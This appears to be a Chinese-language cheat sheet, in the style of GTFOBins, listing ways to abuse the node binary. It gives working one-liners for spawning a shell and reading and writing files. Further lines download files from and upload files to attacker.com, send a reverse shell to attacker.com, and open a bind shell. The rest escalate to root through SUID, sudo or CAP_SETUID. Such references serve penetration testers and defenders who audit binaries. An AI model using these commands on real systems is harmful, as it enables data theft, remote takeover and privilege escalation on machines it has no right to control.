用来生成一个交互式的系统shell。
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
将数据写入文件中。
node -e 'require("fs").writeFileSync("要写入的文件", "DATA")'
从文件中读取数据。
node -e 'process.stdout.write(require("fs").readFileSync("/bin/ls"))'
下载远程文件。
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
node -e 'require("http").get(process.env.URL, res => res.pipe(require("fs").createWriteStream(process.env.LFILE)))'
上传文件到外部。
export URL=http://attacker.com
export LFILE=要发送的文件
node -e 'require("fs").createReadStream(process.env.LFILE).pipe(require("http").request(process.env.URL))'
向监听的端口发送反向shell,以打开远程网络访问。
nc -l -p 12345
on the attacker box to receive the shell. export RHOST=attacker.com
export RPORT=12345
node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").connect(process.env.RPORT, process.env.RHOST, function () {
this.pipe(sh.stdin);
sh.stdout.pipe(this);
sh.stderr.pipe(this);
})'
将shell绑定到本地端口,以允许远程网络访问。
nc target.com 12345
on the attacker box to connect to the shell. export LPORT=12345
node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").createServer(function (client) {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
}).listen(process.env.LPORT)'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
./node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
如果二进制文件具有设置的 Linux CAP_SETUID 能力,或者由另一个具有该能力的二进制文件执行,它可以被用作后门,通过操纵自身的进程 UID 来维持特权访问。
./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'